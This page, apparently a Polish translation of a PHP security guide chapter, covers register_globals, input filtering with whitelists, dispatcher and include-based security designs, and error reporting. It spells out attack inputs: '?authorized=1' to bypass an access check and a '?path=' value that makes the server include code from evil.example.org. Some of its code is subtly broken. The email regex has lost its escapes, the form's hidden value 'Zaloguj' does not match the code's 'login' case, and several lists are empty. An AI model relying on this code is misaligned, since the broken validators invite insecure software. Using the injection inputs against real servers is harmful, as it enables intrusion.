Shebang.pl

Rozdział 1. Bezpieczeństwo – informacje ogólne

Co to jest bezpieczeństwo?

Podstawowe zasady

Rejestracja zmiennych globalnych

Dyrektywa register_globals od PHP 4.2.0 jest domyślnie wyłączona. Mimo iż sama w sobie nie stanowi ona luki w zabezpieczeniach, to jednak jest ryzykowna. Dlatego programy należy pisać i wdrażać przy wyłączonej dyrektywie register_globals.

Jakie ryzyko niesie ze sobą włączenie tej dyrektywy? Trudno jest pokazać przykład, który będzie dobrze reprezentował każdą możliwą sytuację, ponieważ każdy przypadek jest inny. Najczęściej spotykaną sytuację opisano w podręczniku do PHP:

<?php

if (authenticated_user())
{
    $authorized = true;
}

if ($authorized)
{
    include '/bardzo/poufne/dane.php';
}

?>

Przy włączonej dyrektywie register_globals, można wysłać żądanie tej strony z dołączonym łańcuchem ?authorized=1 , co pozwoli ominąć procedury kontroli dostępu. Oczywiście za tę lukę w całości odpowiada programista, a nie dyrektywa register_globals, ale jest to przykład zwiększonego ryzyka, jakie powoduje jej włączenie. Bez tego na zwykłe zmienne globalne (takie, jak $authorized w podanym przykładzie) dane przesłane przez klienta nie mają wpływu. Najlepiej jest inicjować wszystkie zmienne i podczas pisania programu mieć włączoną opcję error_reporting na E_ALL, dzięki czemu żaden przypadek użycia niezainicjowanej zmiennej nie zostanie przeoczony.

Kolejnym przykładem problemu, jaki może sprawić włączenie dyrektywy register_globals jest poniższy sposób użycia instrukcji include z dynamiczną ścieżką:

<?php

include "$path/script.php";

?>

Przy włączonej dyrektywie register_globals, można wysłać żądanie tej strony z dołączonym łańcuchem ?path=http%3A%2F%2Fevil.example.org%2F%3F, aby otrzymać żądanie równoważne z poniższym:

<?php

include 'http://evil.example.org/?/script.php';

?>

Jeśli opcja allow_url_fopen będzie włączona (a jest domyślnie, nawet w pliku php.ini-recommended), nastąpi dołączenie pliku http://evil.example.org/ tak, jakby był lokalny. Tę poważną lukę w zabezpieczeniach wykryto w kilku popularnych aplikacjach typu open source.

Niebezpieczeństwo można zmniejszyć poprzez inicjację zmiennej $path albo wyłączenie dyrektywy register_globals. Podczas gdy programista może się pomylić i zapomnieć o inicjacji zmiennej, wyłączenie dyrektywy register_globals jest rozwiązaniem globalnym, którego nie da się tak łatwo przeoczyć.

Jest to bardzo wygodne i każdy, kto kiedykolwiek wcześniej musiał ręcznie obsłużyć dane z formularza na pewno doceni te metodę. Jednakże superglobalne tablice $_POST i $_GET są bardzo wygodne w użyciu i nie ma sensu ryzykować poprzez włączanie dyrektywy register_globals. Mimo iż nie zgadzam się z argumentami, jakoby włączenie dyrektywy register_globals było równoznaczne z niską jakością zabezpieczeń, to jednak jestem zwolennikiem jej wyłączania.

Ponadto wyłączenie dyrektywy register_globals zmusza programistę do pamiętania o pochodzeniu danych, co jest ważną cechą każdego programisty, który poważnie traktuje kwestie bezpieczeństwa.

Filtrowanie danych

Zgodnie z wcześniejszymi słowami, filtrowanie danych to podstawa zabezpieczeń aplikacji sieciowej, niezależnie od języka i platformy. Polega to na zastosowaniu procedur pozwalających ocenić poprawność danych wchodzących do aplikacji i z niej wychodzących. Dobrze zaprojektowany program pomaga programiście:

Istnieje wiele opinii na temat tego, w jaki sposób uniemożliwić obejście filtrów danych, ale dwie z nich, z których każda pozwala osiągnąć wystarczający poziom bezpieczeństwa, wydają się dominować.

Metoda na dyspozytora

Jedną metodą jest umożliwienie dostępu bezpośrednio przez internet (po adresie URL) tylko do jednego skryptu PHP. Wszystkie pozostałe pliki są modułami dołączanymi za pomocą instrukcji include i require. Metoda ta wymaga przesyłania w każdym adresie URL zmiennej GET określającej zadanie do wykonania. Zmienną tę można traktować jako zastępstwo dla nazwy skryptu, która zostałaby użyta w prostszym rozwiązaniu Na przykład:

http://example.org/dispatch.php?task=print_form

dispatch.php to jedyny plik znajdujący się w katalogu głównym dokumentów. Pozwala to programiście na dwie ważne rzeczy:

Aby to dokładniej objaśnić, posłużę się poniższym przykładowym skryptem, który powinien znajdować się w pliku dispatch.php:

<?php

/* Globalne środki bezpieczeństwa */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>

Jeśli powyższy plik jest jedynym ogólnodostępnym skryptem, to jest jasne, że zastosowanych na jego początku globalnych zabezpieczeń nie da się ominąć. Ponadto programista może z łatwością śledzić przepływ sterowania podczas wykonywania określonego zadania. Na przykład zamiast przeglądać dużą ilość kodu, można z łatwością zauważyć, że zawartość pliku end.inc jest wyświetlana tylko, gdy zmienna $form_valid ma wartość true, a ponieważ jest ona inicjowana wartością false przed dołączeniem pliku process.inc, jest jasne, że skrypt znajdujący się w tym pliku musi ją ustawić na true, aby nie został z powrotem wyświetlony formularz (zapewne z odpowiednią informacją o błędzie).

Uwaga
Jeśli użyjesz pliku indeksowego typu index.php (zamiast dispatch.php), możliwe będzie używanie adresów URL w postaci http://example.org/?task=print_form.

Można także użyć dyrektywy ForceType lub mod_rewrite serwera Apache, aby móc używać adresów w formie http://example.org/app/print-form.

Metoda na dołączanie

Drugą metodą jest utworzenie jednego modułu odpowiedzialnego za wszystkie zabezpieczenia. Moduł ten musi znajdować się na samym wierzchu (lub bardzo blisko niego) wszystkich publicznych skryptów PHP (dostępnych poprzez URL). Rozważmy poniższy skrypt security.inc:

<?php

switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>

W tym przykładzie każdy zatwierdzony formularz musi mieć zmienną formularzową o nazwie form stanowiącą jego identyfikator, a plik security.inc ma odpowiednią klauzulę case do obsługi filtrowania danych pochodzących z tego formularza. Oto przykład formularza HTML, który spełnia ten warunek:

<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="Zaloguj" />
<p>Nazwa użytkownika:
<input type="text" name="username" /></p>
<p>Hasło:
<input type="password" name="password" /></p>
<input type="submit" />
</form>

Tablica $allowed zawiera listę dozwolonych zmiennych formularza i żeby formularz został przetworzony, musi zostać przekazana identyczna lista. Przepływ sterowania jest zdefiniowany w innym miejscu, a w pliku process.inc wykonywane jest filtrowanie danych.

Uwaga
Dobrym sposobem na zapewnienie dołączania pliku security.inc zawsze na początku każdego skryptu jest użycie dyrektywy auto_prepend_file.

Przykłady filtrów

Dane należy filtrować na zasadzie białej listy. Mimo iż nie da się przedstawić przykładu ilustrującego każdy możliwy typ danych formularzowych, poniżej znajduje się kilka przykładów dobrych praktyk.

Skrypt sprawdzający poprawność adresu e-mail:

<?php

$clean = array();

$email_pattern = '/^[^@s<&>]+@([-a-z0-9]+.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
    $clean['email'] = $_POST['email'];
}

?>

Poniższy skrypt sprawdza czy element $_POST['color'] ma wartość red, green lub blue:

<?php

$clean = array();

switch ($_POST['color'])
{
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
}

?>

Poniższy skrypt sprawdza czy wartość elementu $_POST['num'] jest liczbą całkowitą:

<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

Poniższy skrypt sprawdza czy wartość elementu $_POST['num'] jest liczbą zmiennoprzecinkową:

<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

Konwencje nazewnicze

We wszystkich przedstawionych przykładach używana była tablica o nazwie $clean. Stanowi to ilustrację dobrego sposobu na dowiedzenie się, czy dane mogą być niepoprawne. Nigdy nie należy pozostawiać sprawdzonych danych w superglobalnych tablicach $_POST i $_GET, ponieważ ich zawartość powinna zawsze być traktowana podejrzliwie.

Ponadto dzięki rozluźnieniu zasad dotyczących użycia tablicy $clean wszystko pozostałe można traktować jako niebezpieczne, co jest bliższe praktyce białej listy i zwiększa poziom bezpieczeństwa aplikacji.

Jeśli dane po weryfikacji będą zapisywane w tablicy $clean, jedyną możliwością użycia niesprawdzonych danych jest odwołanie się do elementu tablicy, który nie istnieje, a nie użyciu rzeczywiście niepoprawnych danych.

Synchronizacja

Gdy rozpocznie się przetwarzanie skryptu PHP, wiadomo że całe żądanie HTTP zostało już odebrane. Wówczas użytkownik nie ma już możliwości wysłania danych, a więc nie może też niczego wprowadzić do skryptu (nawet gdyby dyrektywa register_globals była włączona). Dlatego właśnie warto zawsze inicjować zmienne.

Raportowanie błędów

W wersjach PHP starszych od 5, opublikowanej 13 lipca 2004 r., techniki raportowania błędów są bardzo proste. Oprócz starannego programowania można stosować kilka dyrektyw konfiguracyjnych PHP:

Ustawienie dyrektywy error_reporting na E_ALL pomaga wymusić inicjację zmiennych, ponieważ dzięki temu odwołania do niezdefiniowanych zmiennych będą odnotowywane.

Jeśli nie ma dostępu do pliku php.ini i nie wchodzą w grę żadne inne sposoby, każdą z tych dyrektyw można ustawić za pomocą funkcji ini_set().

Dobrym źródłem informacji o wszystkich funkcjach obsługi i raportowania błędów jest podręcznik PHP:

http://www.php.net/manual/en/ref.errorfunc.php

W PHP 5 zostały dodane wyjątki. Więcej informacji na ten temat znajduje się pod adresem:

http://www.php.net/manual/language.exceptions.php

Exit mobile version